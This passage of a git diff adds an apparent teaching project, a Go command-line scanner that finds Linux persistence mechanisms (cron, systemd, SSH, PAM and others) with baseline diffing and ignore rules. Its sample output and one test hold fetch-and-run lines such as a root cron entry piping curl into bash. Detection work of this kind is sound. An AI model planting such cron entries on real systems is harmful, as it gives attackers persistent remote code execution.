+ Evidence: */5 * * * * root curl http://... | bash
+ MITRE: T1053.003
+
+ [MEDIUM] Recently modified unit file
+ Path: /etc/systemd/system/backdoor.service
+ Evidence: Modified within the last 24 hours
+ MITRE: T1543.002
+
+ Summary: 1 critical 1 high 1 medium 0 low 4 info
+```
+
+## Scanners
+
+| Scanner | MITRE Technique | What It Checks |
+|---------|----------------|----------------|
+| systemd | T1543.002, T1053.006 | Service/timer units, ExecStart directives, drop-in overrides |
+| cron | T1053.003 | System/user crontabs, cron.d, periodic directories, anacron |
+| profile | T1546.004 | Shell RC files, /etc/profile.d, bashrc/zshrc injections |
+| ssh | T1098.004 | authorized_keys options, sshd_config, SSH rc scripts |
+| ld_preload | T1574.006 | /etc/ld.so.preload, ld.so.conf.d, /etc/environment |
+| kernel | T1547.006 | modules-load.d, modprobe.d install hooks |
+| udev | T1546 | Udev rules with RUN+= directives |
+| initd | T1037.004 | Init.d scripts, rc.local content |
+| xdg | T1547.013 | XDG autostart .desktop files |
+| atjob | T1053.001 | Pending at job spool |
+| motd | T1546 | update-motd.d login scripts |
+| pam | T1556.003 | PAM configs, pam_exec.so, pam_permit.so in auth |
+
+## Learn
+
+This project includes step-by-step learning materials covering persistence techniques, detection engineering, and implementation details.
+
+| Module | Topic |
+|--------|-------|
+| [00 - Overview](learn/00-OVERVIEW.md) | Prerequisites and quick start |
+| [01 - Concepts](learn/01-CONCEPTS.md) | Linux persistence and MITRE ATT&CK |
+| [02 - Architecture](learn/02-ARCHITECTURE.md) | System design and data flow |
+| [03 - Implementation](learn/03-IMPLEMENTATION.md) | Code walkthrough |
+| [04 - Challenges](learn/04-CHALLENGES.md) | Extension ideas and exercises |
+
+## License
+
+AGPL 3.0
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/cmd/sentinel/main.go b/PROJECTS/beginner/systemd-persistence-scanner/cmd/sentinel/main.go
new file mode 100644
index 00000000..f7fbe626
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/cmd/sentinel/main.go
@@ -0,0 +1,17 @@
+/*
+©AngelaMos | 2026
+main.go
+
+Entry point for the sentinel CLI
+*/
+
+package main
+
+import (
+ "github.com/CarterPerez-dev/sentinel/internal/cli"
+ _ "github.com/CarterPerez-dev/sentinel/internal/scanner"
+)
+
+func main() {
+ cli.Execute()
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/go.mod b/PROJECTS/beginner/systemd-persistence-scanner/go.mod
new file mode 100644
index 00000000..53935e65
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/go.mod
@@ -0,0 +1,17 @@
+module github.com/CarterPerez-dev/sentinel
+
+go 1.25.0
+
+require (
+ github.com/fatih/color v1.19.0
+ github.com/spf13/cobra v1.10.2
+)
+
+require (
+ github.com/inconshreveable/mousetrap v1.1.0 // indirect
+ github.com/mattn/go-colorable v0.1.14 // indirect
+ github.com/mattn/go-isatty v0.0.20 // indirect
+ github.com/spf13/pflag v1.0.9 // indirect
+ golang.org/x/sync v0.20.0 // indirect
+ golang.org/x/sys v0.42.0 // indirect
+)
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/go.sum b/PROJECTS/beginner/systemd-persistence-scanner/go.sum
new file mode 100644
index 00000000..f792c574
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/go.sum
@@ -0,0 +1,21 @@
+github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
+github.com/fatih/color v1.19.0 h1:Zp3PiM21/9Ld6FzSKyL5c/BULoe/ONr9KlbYVOfG8+w=
+github.com/fatih/color v1.19.0/go.mod h1:zNk67I0ZUT1bEGsSGyCZYZNrHuTkJJB+r6Q9VuMi0LE=
+github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
+github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
+github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
+github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
+github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
+github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
+github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
+github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU=
+github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4=
+github.com/spf13/pflag v1.0.9 h1:9exaQaMOCwffKiiiYk6/BndUBv+iRViNW+4lEMi0PvY=
+github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=
+golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
+golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
+golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
+golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/install.sh b/PROJECTS/beginner/systemd-persistence-scanner/install.sh
new file mode 100755
index 00000000..78c6d8a4
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/install.sh
@@ -0,0 +1,76 @@
+#!/usr/bin/env bash
+# ©AngelaMos | 2026
+# install.sh
+
+set -euo pipefail
+
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+CYAN='\033[0;36m'
+DIM='\033[2m'
+NC='\033[0m'
+
+info() { printf "${CYAN}▸${NC} %s\n" "$1"; }
+ok() { printf "${GREEN}✓${NC} %s\n" "$1"; }
+fail() { printf "${RED}✗${NC} %s\n" "$1"; exit 1; }
+
+MIN_GO="1.25"
+
+check_go() {
+ if ! command -v go &>/dev/null; then
+ fail "Go is not installed. Get it at https://go.dev/dl/"
+ fi
+
+ local ver
+ ver=$(go version | grep -oP 'go\K[0-9]+\.[0-9]+')
+
+ if ! printf '%s\n%s\n' "$MIN_GO" "$ver" \
+ | sort -V | head -n1 | grep -qx "$MIN_GO"; then
+ fail "Go $MIN_GO+ required (found $ver)"
+ fi
+
+ ok "Go $ver"
+}
+
+check_just() {
+ if command -v just &>/dev/null; then
+ ok "just $(just --version 2>/dev/null | head -1)"
+ else
+ info "just not found (optional). Install: curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin"
+ fi
+}
+
+build() {
+ info "Building sentinel..."
+ go build -ldflags="-s -w" -o bin/sentinel ./cmd/sentinel
+ local size
+ size=$(du -h bin/sentinel | cut -f1)
+ ok "Built bin/sentinel ($size)"
+}
+
+run_tests() {
+ info "Running tests..."
+ if go test -race ./... >/dev/null 2>&1; then
+ ok "All tests passed"
+ else
+ fail "Tests failed. Run 'go test -v ./...' for details."
+ fi
+}
+
+main() {
+ printf "\n${CYAN}sentinel${NC} ${DIM}installer${NC}\n\n"
+
+ check_go
+ check_just
+
+ info "Downloading dependencies..."
+ go mod download
+ ok "Dependencies ready"
+
+ build
+ run_tests
+
+ printf "\n${GREEN}Done.${NC} Run ${CYAN}./bin/sentinel scan${NC} to start scanning.\n\n"
+}
+
+main "$@"
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/baseline/baseline.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/baseline/baseline.go
new file mode 100644
index 00000000..c7b23415
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/baseline/baseline.go
@@ -0,0 +1,89 @@
+/*
+©AngelaMos | 2026
+baseline.go
+
+Baseline snapshot save, load, and diff operations
+
+Saves the current scan findings as a JSON snapshot file. On
+subsequent runs, loads the baseline and computes a diff showing
+only new findings that were not present in the clean snapshot.
+This reduces noise on systems with many legitimate persistence
+entries.
+*/
+
+package baseline
+
+import (
+ "encoding/json"
+ "fmt"
+ "os"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+type Snapshot struct {
+ Version string `json:"version"`
+ Hostname string `json:"hostname"`
+ Findings []types.Finding `json:"findings"`
+}
+
+func Save(
+ path string, findings []types.Finding, hostname string,
+) error {
+ snap := Snapshot{
+ Version: types.Version,
+ Hostname: hostname,
+ Findings: findings,
+ }
+
+ data, err := json.MarshalIndent(snap, "", " ")
+ if err != nil {
+ return fmt.Errorf("marshaling baseline: %w", err)
+ }
+
+ if err := os.WriteFile(
+ path, data, 0o600,
+ ); err != nil {
+ return fmt.Errorf("writing baseline: %w", err)
+ }
+
+ return nil
+}
+
+func Load(path string) (Snapshot, error) {
+ data, err := os.ReadFile(path) //nolint:gosec
+ if err != nil {
+ return Snapshot{}, fmt.Errorf(
+ "reading baseline: %w", err,
+ )
+ }
+
+ var snap Snapshot
+ if err := json.Unmarshal(data, &snap); err != nil {
+ return Snapshot{}, fmt.Errorf(
+ "parsing baseline: %w", err,
+ )
+ }
+ return snap, nil
+}
+
+func Diff(
+ baseline Snapshot, current []types.Finding,
+) []types.Finding {
+ known := make(map[string]bool, len(baseline.Findings))
+ for _, f := range baseline.Findings {
+ known[findingKey(f)] = true
+ }
+
+ var newFindings []types.Finding
+ for _, f := range current {
+ if !known[findingKey(f)] {
+ newFindings = append(newFindings, f)
+ }
+ }
+ return newFindings
+}
+
+func findingKey(f types.Finding) string {
+ return f.Scanner + "|" + f.Path + "|" + f.Title
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/baseline/baseline_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/baseline/baseline_test.go
new file mode 100644
index 00000000..755dc00b
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/baseline/baseline_test.go
@@ -0,0 +1,117 @@
+/*
+©AngelaMos | 2026
+baseline_test.go
+*/
+
+package baseline
+
+import (
+ "os"
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestSaveAndLoad(t *testing.T) {
+ dir := t.TempDir()
+ path := filepath.Join(dir, "test-baseline.json")
+
+ findings := []types.Finding{
+ {
+ Scanner: "cron",
+ Severity: types.SeverityHigh,
+ Title: "test finding",
+ Path: "/etc/cron.d/malicious",
+ Evidence: "curl | bash",
+ MITRE: "T1053.003",
+ },
+ }
+
+ if err := Save(path, findings, "test-host"); err != nil {
+ t.Fatalf("Save failed: %v", err)
+ }
+
+ if _, err := os.Stat(path); err != nil {
+ t.Fatalf("baseline file not created: %v", err)
+ }
+
+ snap, err := Load(path)
+ if err != nil {
+ t.Fatalf("Load failed: %v", err)
+ }
+
+ if snap.Hostname != "test-host" {
+ t.Errorf(
+ "hostname = %q, want %q",
+ snap.Hostname, "test-host",
+ )
+ }
+
+ if len(snap.Findings) != 1 {
+ t.Fatalf(
+ "findings count = %d, want 1",
+ len(snap.Findings),
+ )
+ }
+
+ if snap.Findings[0].Title != "test finding" {
+ t.Errorf(
+ "finding title = %q, want %q",
+ snap.Findings[0].Title, "test finding",
+ )
+ }
+}
+
+func TestDiff(t *testing.T) {
+ baselineFindings := []types.Finding{
+ {
+ Scanner: "cron",
+ Title: "known finding",
+ Path: "/etc/cron.d/legit",
+ },
+ {
+ Scanner: "systemd",
+ Title: "known service",
+ Path: "/etc/systemd/system/app.service",
+ },
+ }
+
+ snap := Snapshot{
+ Version: "1.0.0",
+ Findings: baselineFindings,
+ }
+
+ current := []types.Finding{
+ {
+ Scanner: "cron",
+ Title: "known finding",
+ Path: "/etc/cron.d/legit",
+ },
+ {
+ Scanner: "systemd",
+ Title: "known service",
+ Path: "/etc/systemd/system/app.service",
+ },
+ {
+ Scanner: "cron",
+ Title: "new malicious entry",
+ Path: "/etc/cron.d/backdoor",
+ },
+ }
+
+ newFindings := Diff(snap, current)
+ if len(newFindings) != 1 {
+ t.Fatalf(
+ "diff count = %d, want 1",
+ len(newFindings),
+ )
+ }
+
+ if newFindings[0].Title != "new malicious entry" {
+ t.Errorf(
+ "new finding title = %q, want %q",
+ newFindings[0].Title, "new malicious entry",
+ )
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/baseline.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/baseline.go
new file mode 100644
index 00000000..1977d978
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/baseline.go
@@ -0,0 +1,154 @@
+/*
+©AngelaMos | 2026
+baseline.go
+
+Baseline subcommand for save and diff operations
+
+The save subcommand runs a full scan and saves findings as a JSON
+baseline snapshot. The diff subcommand runs a fresh scan and shows
+only findings that are new since the baseline was taken.
+*/
+
+package cli
+
+import (
+ "fmt"
+ "os"
+ "time"
+
+ "github.com/spf13/cobra"
+
+ "github.com/CarterPerez-dev/sentinel/internal/baseline"
+ "github.com/CarterPerez-dev/sentinel/internal/config"
+ "github.com/CarterPerez-dev/sentinel/internal/report"
+ "github.com/CarterPerez-dev/sentinel/internal/scanner"
+ "github.com/CarterPerez-dev/sentinel/internal/ui"
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+var flagBaselinePath string
+
+func init() {
+ baselineCmd.PersistentFlags().StringVar(
+ &flagBaselinePath, "file", "sentinel-baseline.json",
+ "path to baseline snapshot file",
+ )
+ baselineCmd.AddCommand(baselineSaveCmd)
+ baselineCmd.AddCommand(baselineDiffCmd)
+ rootCmd.AddCommand(baselineCmd)
+}
+
+var baselineCmd = &cobra.Command{
+ Use: "baseline",
+ Short: "Manage baseline snapshots",
+}
+
+var baselineSaveCmd = &cobra.Command{
+ Use: "save",
+ Short: "Save current state as baseline",
+ RunE: runBaselineSave,
+}
+
+var baselineDiffCmd = &cobra.Command{
+ Use: "diff",
+ Short: "Show changes since baseline",
+ RunE: runBaselineDiff,
+}
+
+func runBaselineSave(_ *cobra.Command, _ []string) error {
+ hostname, err := os.Hostname()
+ if err != nil {
+ hostname = fallbackHostname
+ }
+
+ var sp *ui.Spinner
+ if !flagJSON {
+ sp = ui.NewSpinner("Scanning for baseline...")
+ sp.Start()
+ }
+
+ findings := scanner.RunAll(flagRoot)
+
+ if sp != nil {
+ sp.Stop()
+ }
+
+ if err := baseline.Save(
+ flagBaselinePath, findings, hostname,
+ ); err != nil {
+ return err
+ }
+
+ fmt.Printf(
+ " %s Baseline saved to %s (%d findings)\n\n",
+ ui.GreenBold(ui.Check),
+ ui.Cyan(flagBaselinePath),
+ len(findings),
+ )
+ return nil
+}
+
+func runBaselineDiff(_ *cobra.Command, _ []string) error {
+ snap, err := baseline.Load(flagBaselinePath)
+ if err != nil {
+ return fmt.Errorf(
+ "load baseline %s: %w",
+ flagBaselinePath, err,
+ )
+ }
+
+ hostname, err := os.Hostname()
+ if err != nil {
+ hostname = fallbackHostname
+ }
+ minSev := types.ParseSeverity(flagMinSeverity)
+
+ var sp *ui.Spinner
+ if !flagJSON {
+ sp = ui.NewSpinner("Scanning and comparing to baseline...")
+ sp.Start()
+ }
+
+ start := time.Now()
+ current := scanner.RunAll(flagRoot)
+ duration := time.Since(start)
+
+ if sp != nil {
+ sp.Stop()
+ }
+
+ ignoreList, err := config.LoadIgnoreFile(flagIgnoreFile)
+ if err != nil {
+ return err
+ }
+
+ newFindings := baseline.Diff(snap, current)
+ newFindings = ignoreList.Filter(newFindings)
+ filtered := filterBySeverity(newFindings, minSev)
+
+ result := types.ScanResult{
+ Version: types.Version,
+ ScanTime: start,
+ Hostname: hostname,
+ Findings: filtered,
+ Summary: types.Tally(filtered),
+ DurationMs: duration.Milliseconds(),
+ }
+
+ if !flagJSON {
+ fmt.Printf(
+ " %s Baseline: %d known %s New: %d findings\n\n",
+ ui.CyanBold(ui.Diamond),
+ len(snap.Findings),
+ ui.Dim("|"),
+ len(filtered),
+ )
+ }
+
+ if flagJSON {
+ return report.PrintJSON(result)
+ }
+
+ report.PrintTerminal(result)
+ return nil
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/root.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/root.go
new file mode 100644
index 00000000..1270677a
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/root.go
@@ -0,0 +1,90 @@
+/*
+©AngelaMos | 2026
+root.go
+
+Root cobra command and global flag definitions
+
+Defines the sentinel root command with persistent flags for JSON
+output, minimum severity filtering, verbose mode, and custom scan
+root. Subcommands are attached in their respective init functions.
+*/
+
+package cli
+
+import (
+ "log/slog"
+ "os"
+
+ "github.com/spf13/cobra"
+
+ "github.com/CarterPerez-dev/sentinel/internal/ui"
+)
+
+const fallbackHostname = "unknown"
+
+var (
+ flagJSON bool
+ flagMinSeverity string
+ flagVerbose bool
+ flagRoot string
+ flagIgnoreFile string
+)
+
+var rootCmd = &cobra.Command{
+ Use: "sentinel",
+ Short: "Linux persistence mechanism scanner",
+ Long: `sentinel scans a Linux system for persistence mechanisms
+across systemd, cron, shell profiles, SSH, LD_PRELOAD,
+kernel modules, udev rules, init.d, XDG autostart, at jobs,
+MOTD scripts, and PAM modules.`,
+ PersistentPreRun: func(
+ cmd *cobra.Command, args []string,
+ ) {
+ configureLogging()
+ if !flagJSON {
+ ui.PrintBanner()
+ }
+ },
+}
+
+func configureLogging() {
+ level := slog.LevelWarn
+ if flagVerbose {
+ level = slog.LevelDebug
+ }
+
+ handler := slog.NewTextHandler(
+ os.Stderr,
+ &slog.HandlerOptions{Level: level},
+ )
+ slog.SetDefault(slog.New(handler))
+}
+
+func init() {
+ rootCmd.PersistentFlags().BoolVar(
+ &flagJSON, "json", false,
+ "output results as JSON",
+ )
+ rootCmd.PersistentFlags().StringVar(
+ &flagMinSeverity, "min-severity", "info",
+ "minimum severity to report (info|low|medium|high|critical)",
+ )
+ rootCmd.PersistentFlags().BoolVar(
+ &flagVerbose, "verbose", false,
+ "enable verbose logging",
+ )
+ rootCmd.PersistentFlags().StringVar(
+ &flagRoot, "root", "/",
+ "filesystem root to scan (for testing or chroot)",
+ )
+ rootCmd.PersistentFlags().StringVar(
+ &flagIgnoreFile, "ignore-file", "",
+ "path to .sentinel-ignore.yml for suppressing findings",
+ )
+}
+
+func Execute() {
+ if err := rootCmd.Execute(); err != nil {
+ os.Exit(1)
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/scan.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/scan.go
new file mode 100644
index 00000000..5dee15ff
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/scan.go
@@ -0,0 +1,110 @@
+/*
+©AngelaMos | 2026
+scan.go
+
+Scan subcommand that runs all persistence scanners
+
+Executes every registered scanner against the target root, filters
+findings by minimum severity, tallies results, and renders output
+in terminal or JSON format.
+*/
+
+package cli
+
+import (
+ "fmt"
+ "os"
+ "time"
+
+ "github.com/spf13/cobra"
+
+ "github.com/CarterPerez-dev/sentinel/internal/config"
+ "github.com/CarterPerez-dev/sentinel/internal/report"
+ "github.com/CarterPerez-dev/sentinel/internal/scanner"
+ "github.com/CarterPerez-dev/sentinel/internal/ui"
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func init() {
+ rootCmd.AddCommand(scanCmd)
+}
+
+var scanCmd = &cobra.Command{
+ Use: "scan",
+ Short: "Scan for persistence mechanisms",
+ RunE: runScan,
+}
+
+func runScan(cmd *cobra.Command, _ []string) error {
+ minSev := types.ParseSeverity(flagMinSeverity)
+ hostname, err := os.Hostname()
+ if err != nil {
+ hostname = fallbackHostname
+ }
+
+ ignoreList, err := config.LoadIgnoreFile(flagIgnoreFile)
+ if err != nil {
+ return err
+ }
+
+ var sp *ui.Spinner
+ if !flagJSON {
+ sp = ui.NewSpinner("Scanning persistence mechanisms...")
+ sp.Start()
+ }
+
+ start := time.Now()
+ findings := scanner.RunAll(flagRoot)
+ duration := time.Since(start)
+
+ if sp != nil {
+ sp.Stop()
+ }
+
+ findings = ignoreList.Filter(findings)
+ filtered := filterBySeverity(findings, minSev)
+
+ result := types.ScanResult{
+ Version: types.Version,
+ ScanTime: start,
+ Hostname: hostname,
+ Findings: filtered,
+ Summary: types.Tally(filtered),
+ DurationMs: duration.Milliseconds(),
+ }
+
+ if flagJSON {
+ return report.PrintJSON(result)
+ }
+
+ scannerNames := make([]string, 0, len(scanner.All()))
+ for _, s := range scanner.All() {
+ scannerNames = append(scannerNames, s.Name())
+ }
+
+ fmt.Printf(
+ " %s Scanned %d modules across %s\n\n",
+ ui.GreenBold(ui.Check),
+ len(scannerNames),
+ flagRoot,
+ )
+
+ report.PrintTerminal(result)
+ return nil
+}
+
+func filterBySeverity(
+ findings []types.Finding, min types.Severity,
+) []types.Finding {
+ if min == types.SeverityInfo {
+ return findings
+ }
+
+ var filtered []types.Finding
+ for _, f := range findings {
+ if f.Severity >= min {
+ filtered = append(filtered, f)
+ }
+ }
+ return filtered
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/config/config.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/config/config.go
new file mode 100644
index 00000000..394fb764
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/config/config.go
@@ -0,0 +1,151 @@
+/*
+©AngelaMos | 2026
+config.go
+
+Ignore-list configuration for suppressing known-good findings
+
+Loads a YAML ignore file that specifies findings to suppress by
+path, scanner name, title, or combinations thereof. Reduces noise
+on systems with many legitimate persistence entries.
+*/
+
+package config
+
+import (
+ "fmt"
+ "os"
+ "strings"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+type IgnoreRule struct {
+ Path string
+ Scanner string
+ Title string
+}
+
+type IgnoreList struct {
+ Rules []IgnoreRule
+}
+
+func LoadIgnoreFile(path string) (IgnoreList, error) {
+ if path == "" {
+ return IgnoreList{}, nil
+ }
+
+ data, err := os.ReadFile(path) //nolint:gosec
+ if err != nil {
+ return IgnoreList{}, fmt.Errorf(
+ "reading ignore file: %w", err,
+ )
+ }
+
+ return parseIgnoreFile(data)
+}
+
+func parseIgnoreFile(data []byte) (IgnoreList, error) {
+ var list IgnoreList
+ var current IgnoreRule
+ inIgnore := false
+
+ for _, rawLine := range strings.Split(string(data), "\n") {
+ line := strings.TrimSpace(rawLine)
+
+ if line == "" || strings.HasPrefix(line, "#") {
+ continue
+ }
+
+ if line == "ignore:" {
+ inIgnore = true
+ continue
+ }
+
+ if !inIgnore {
+ continue
+ }
+
+ if strings.HasPrefix(line, "- ") {
+ list.Rules = appendIfSet(list.Rules, current)
+ current = IgnoreRule{}
+ line = strings.TrimPrefix(line, "- ")
+ } else if !isIndented(line, rawLine) {
+ list.Rules = appendIfSet(list.Rules, current)
+ break
+ }
+
+ parseField(¤t, strings.TrimSpace(line))
+ }
+
+ list.Rules = appendIfSet(list.Rules, current)
+ return list, nil
+}
+
+func isIndented(trimmed, raw string) bool {
+ return strings.HasPrefix(trimmed, " ") ||
+ strings.HasPrefix(raw, " ")
+}
+
+func appendIfSet(
+ rules []IgnoreRule, r IgnoreRule,
+) []IgnoreRule {
+ if r.Path != "" || r.Scanner != "" || r.Title != "" {
+ return append(rules, r)
+ }
+ return rules
+}
+
+func parseField(rule *IgnoreRule, line string) {
+ key, val, ok := strings.Cut(line, ":")
+ if !ok {
+ return
+ }
+ val = strings.TrimSpace(val)
+
+ switch strings.TrimSpace(key) {
+ case "path":
+ rule.Path = val
+ case "scanner":
+ rule.Scanner = val
+ case "title":
+ rule.Title = val
+ }
+}
+
+func (il IgnoreList) Filter(
+ findings []types.Finding,
+) []types.Finding {
+ if len(il.Rules) == 0 {
+ return findings
+ }
+
+ var kept []types.Finding
+ for _, f := range findings {
+ if !il.matches(f) {
+ kept = append(kept, f)
+ }
+ }
+ return kept
+}
+
+func (il IgnoreList) matches(f types.Finding) bool {
+ for _, r := range il.Rules {
+ if r.matchesFinding(f) {
+ return true
+ }
+ }
+ return false
+}
+
+func (r IgnoreRule) matchesFinding(f types.Finding) bool {
+ if r.Path != "" && f.Path != r.Path {
+ return false
+ }
+ if r.Scanner != "" && f.Scanner != r.Scanner {
+ return false
+ }
+ if r.Title != "" && f.Title != r.Title {
+ return false
+ }
+ return true
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/config/config_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/config/config_test.go
new file mode 100644
index 00000000..63218ddc
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/config/config_test.go
@@ -0,0 +1,144 @@
+/*
+©AngelaMos | 2026
+config_test.go
+*/
+
+package config
+
+import (
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestParseIgnoreFile(t *testing.T) {
+ data := []byte(`# Sentinel ignore file
+ignore:
+ - path: /etc/systemd/system/docker.service
+ - scanner: kernel
+ title: Kernel module loaded at boot
+ - path: /etc/cron.d/certbot
+`)
+
+ list, err := parseIgnoreFile(data)
+ if err != nil {
+ t.Fatalf("parseIgnoreFile: %v", err)
+ }
+
+ if len(list.Rules) != 3 {
+ t.Fatalf(
+ "rules count = %d, want 3",
+ len(list.Rules),
+ )
+ }
+
+ if list.Rules[0].Path != "/etc/systemd/system/docker.service" {
+ t.Errorf(
+ "rule[0].Path = %q",
+ list.Rules[0].Path,
+ )
+ }
+
+ if list.Rules[1].Scanner != "kernel" ||
+ list.Rules[1].Title != "Kernel module loaded at boot" {
+ t.Errorf(
+ "rule[1] = %+v",
+ list.Rules[1],
+ )
+ }
+
+ if list.Rules[2].Path != "/etc/cron.d/certbot" {
+ t.Errorf(
+ "rule[2].Path = %q",
+ list.Rules[2].Path,
+ )
+ }
+}
+
+func TestFilter_ByPath(t *testing.T) {
+ list := IgnoreList{
+ Rules: []IgnoreRule{
+ {Path: "/etc/systemd/system/docker.service"},
+ },
+ }
+
+ findings := []types.Finding{
+ {
+ Scanner: "systemd",
+ Path: "/etc/systemd/system/docker.service",
+ Title: "some finding",
+ },
+ {
+ Scanner: "systemd",
+ Path: "/etc/systemd/system/evil.service",
+ Title: "another finding",
+ },
+ }
+
+ filtered := list.Filter(findings)
+ if len(filtered) != 1 {
+ t.Fatalf(
+ "filtered count = %d, want 1",
+ len(filtered),
+ )
+ }
+ if filtered[0].Path != "/etc/systemd/system/evil.service" {
+ t.Errorf(
+ "remaining finding path = %q",
+ filtered[0].Path,
+ )
+ }
+}
+
+func TestFilter_ByScannerAndTitle(t *testing.T) {
+ list := IgnoreList{
+ Rules: []IgnoreRule{
+ {
+ Scanner: "kernel",
+ Title: "Kernel module loaded at boot",
+ },
+ },
+ }
+
+ findings := []types.Finding{
+ {
+ Scanner: "kernel",
+ Title: "Kernel module loaded at boot",
+ Path: "/etc/modules-load.d/loop.conf",
+ },
+ {
+ Scanner: "kernel",
+ Title: "Module install hook runs shell command",
+ Path: "/etc/modprobe.d/evil.conf",
+ },
+ }
+
+ filtered := list.Filter(findings)
+ if len(filtered) != 1 {
+ t.Fatalf(
+ "filtered count = %d, want 1",
+ len(filtered),
+ )
+ }
+ if filtered[0].Title != "Module install hook runs shell command" {
+ t.Errorf(
+ "remaining finding title = %q",
+ filtered[0].Title,
+ )
+ }
+}
+
+func TestFilter_EmptyList(t *testing.T) {
+ list := IgnoreList{}
+ findings := []types.Finding{
+ {Scanner: "cron", Title: "test"},
+ }
+
+ filtered := list.Filter(findings)
+ if len(filtered) != 1 {
+ t.Fatalf(
+ "empty ignore list should not filter: got %d",
+ len(filtered),
+ )
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/report/json.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/report/json.go
new file mode 100644
index 00000000..1d633685
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/report/json.go
@@ -0,0 +1,29 @@
+/*
+©AngelaMos | 2026
+json.go
+
+Structured JSON output formatter for scan results
+
+Serializes the full ScanResult to JSON with indentation for human
+readability. Outputs to stdout for piping into jq, SIEM ingestion,
+or file redirection.
+*/
+
+package report
+
+import (
+ "encoding/json"
+ "fmt"
+ "os"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func PrintJSON(result types.ScanResult) error {
+ enc := json.NewEncoder(os.Stdout)
+ enc.SetIndent("", " ")
+ if err := enc.Encode(result); err != nil {
+ return fmt.Errorf("encoding json: %w", err)
+ }
+ return nil
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/report/terminal.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/report/terminal.go
new file mode 100644
index 00000000..551c5a46
--- /dev/null
